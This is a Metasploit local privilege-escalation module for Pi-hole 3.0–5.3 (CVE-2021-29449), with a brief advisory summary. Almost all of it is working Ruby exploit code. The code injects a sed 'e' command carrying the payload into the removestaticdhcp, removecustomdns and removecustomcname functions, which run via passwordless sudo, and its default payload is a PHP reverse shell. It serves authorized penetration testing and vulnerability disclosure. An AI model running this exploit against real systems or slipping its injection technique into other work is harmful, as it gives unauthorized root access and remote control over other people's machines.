Authored by h00die, Emanuele Barbeno | Site metasploit.com

Pi-Hole versions 3.0 through 5.3 allows for command line input to the removecustomcname, removecustomdns, and removestaticdhcp functions without properly validating the parameters before passing to sed. When executed as the www-data user, this allows for a privilege escalation to root since www-data is in the sudoers.d/pihole file with no password.

advisories | CVE-2021-29449

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking

# includes: is_root?
include Msf::Post::Linux::Priv
# includes writable?, upload_file, upload_and_chmodx, exploit_data
include Msf::Post::File
# for whoami
include Msf::Post::Unix
# for get_session_pid needed by whoami
include Msf::Post::Linux::System
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Pi-Hole Remove Commands Linux Priv Esc',
'Description' => %q{
Pi-Hole versions 3.0 - 5.3 allows for command line input to the removecustomcname,
removecustomdns, and removestaticdhcp functions without properly validating
the parameters before passing to sed. When executed as the www-data user,
this allows for a privilege escalation to root since www-data is in the
sudoers.d/pihole file with no password.
},
'License' => MSF_LICENSE,
'Author' =>
[
'h00die', # msf module
'Emanuele Barbeno <emanuele.barbeno[at]compass-security.com>' # original PoC, analysis
],
'Platform' => [ 'unix', 'linux' ],
'Arch' => [ ARCH_CMD ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_php_ssl' },
'Payload' =>
{
'BadChars' => "x27" # '
},
'Privileged' => true,
'References' =>
[
[ 'URL', 'https://github.com/pi-hole/pi-hole/security/advisories/GHSA-3597-244c-wrpj' ],
[ 'URL', 'https://www.compass-security.com/fileadmin/Research/Advisories/2021-02_CSNC-2021-008_Pi-hole_Privilege_Escalation.txt' ],
[ 'CVE', '2021-29449' ]
],
'DisclosureDate' => '2021-04-20',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
},
'Targets' => [
['DHCP', { 'min' => Rex::Version.new('3.0') }], # exploitable by default, expecially when combined with unix/http/pihole_dhcp_mac_exec
['DNS', { 'min' => Rex::Version.new('5.0') }],
['CNAME', { 'min' => Rex::Version.new('5.1') }],
],
'DefaultTarget' => 0
)
)
end

def sudo_pihole
'sudo /usr/local/bin/pihole -a'
end

def pihole_version
version = cmd_exec('sudo /usr/local/bin/pihole -v')
/Pi-hole version is v([^ ]+)/ =~ version
Rex::Version.new(Regexp.last_match(1))
end

def check
w = whoami
print_status("Current user: #{w}")
v = pihole_version
print_status("Pi-hole version: #{v}")
unless v.between?(target['min'], Rex::Version.new('5.3'))
return CheckCode::Safe("Pi-Hole version #{v} is >= 5.3 and not vulnerable")
end
unless w == 'www-data'
return CheckCode::Safe("User must be www-data, currently #{w}")
end

CheckCode::Appears("Pi-Hole #{v} with user #{w} is vulnerable and exploitable")
end

def method_dhcp
f = '/etc/dnsmasq.d/04-pihole-static-dhcp.conf'
if !file?(f) || read_file(f).empty?
mac = Faker::Internet.mac_address
ip = "10.199.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}"
print_status("Adding static DHCP #{mac} #{ip}")
cmd_exec("#{sudo_pihole} addstaticdhcp '#{mac}' '#{ip}'")
end
unless file?(f)
print_error("Config file not found: #{f}")
return
end
print_good("#{f} found!")
print_status('Executing payload against removestaticdhcp command')
cmd_exec("#{sudo_pihole} removestaticdhcp 'a/d ; 1e #{payload.encoded} ; /'")
if mac
cmd_exec("#{sudo_pihole} removestaticdhcp '#{mac}'")
end
end

def method_dns
f = '/etc/pihole/custom.list'
if !file?(f) || read_file(f).empty?
name = Faker::Internet.domain_name
ip = "10.199.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}"
print_status("Adding DNS entry #{name} #{ip}")
cmd_exec("#{sudo_pihole} addcustomdns '#{ip}' '#{name}'")
end
unless file?(f)
print_error("Config file not found: #{f}")
return
end
print_good("#{f} found!")
print_status('Executing payload against removecustomdns command')
cmd_exec("#{sudo_pihole} removecustomdns 'a/d ; 1e #{payload.encoded} ; /'")
if name
cmd_exec("#{sudo_pihole} removecustomdns '#{ip}' '#{name}'")
end
end

def method_cname
f = '/etc/dnsmasq.d/05-pihole-custom-cname.conf'
if !file?(f) || read_file(f).empty?
name = "#{rand_text_alphanumeric(8..12)}.edu"
print_status("Adding CNAME entry #{name}")
cmd_exec("#{sudo_pihole} addcustomcname '#{name}' '#{name}'")
end
unless file?(f)
print_error("Config file not found: #{f}")
return
end
print_good("#{f} found!")
print_status('Executing payload against removecustomcname command')
cmd_exec("#{sudo_pihole} removecustomcname 'a/d ; 1e #{payload.encoded} ; /'")
if name
cmd_exec("#{sudo_pihole} removecustomcname '#{name}' '#{name}'")
end
end

def exploit
if target.name == 'DHCP'
method_dhcp
elsif target.name == 'DNS'
method_dns
elsif target.name == 'CNAME'
method_cname
end
end
end